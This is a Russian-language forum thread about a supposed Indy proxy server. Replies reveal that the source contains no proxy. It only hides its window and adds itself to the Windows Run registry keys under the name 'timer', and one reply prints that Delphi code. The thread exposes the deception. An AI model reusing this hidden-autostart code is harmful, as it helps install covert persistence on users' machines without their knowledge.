Proxy Server Indy

[GvR]

Всем привет. Скомпилировал исходник который прикреплен ниже. Дал юзеру для теста. Он запустил файл. Прописал ево IP в Mozille Но я не смог подконектитса к нему. В чем может быть проблема?

[Beweniy_pchel]

РЕБЯТА НЕ ГРУЗИТЕ. ТАМ ФИГНЯ КАКЯ-ТО ПРОВОДЯЩАЯ ОПЕРАЦИИ С РЕЕСТРОМ И ВСЕ. НИКАКОГО ПРОКСИ ТАМ НЕТ.

[DomiNick]

procedure TForm1.FormCreate(Sender: TObject);
var reg:tregistry;prog:string;
begin
Showwindow(handle,SW_HIDE);
Showwindow(Application.handle,SW_HIDE);
prog:=application.ExeName;
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('timer',prog);
reg.CloseKey;
end;
reg.Free;
Showwindow(handle,SW_HIDE);
Showwindow(Application.handle,SW_HIDE);
prog:=application.ExeName;
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('timer',prog);
reg.CloseKey;
end;
reg.Free;
end;

Хм..... Особо криминального тут не вижу, хотя да, подозрительно чтот...

[raxp]

...Но я не смог подконектитса к нему. В чем может быть проблема?

например у него стоит файрволл или закрыт порт по которому вы работаете.

...разбираться с вашим проектом времени нет, можете глянуть пример рабочего сервиса с использованием TIdMappedPortTCP как и у вас.

[Dimaolab]

Сообщение от raxp

например у него стоит файрволл или закрыт порт по которому вы работаете.

...разбираться с вашим проектом времени нет, можете глянуть пример рабочего сервиса с использованием TIdMappedPortTCP как и у вас.

Вы жестоко обмануты оно и не будет работать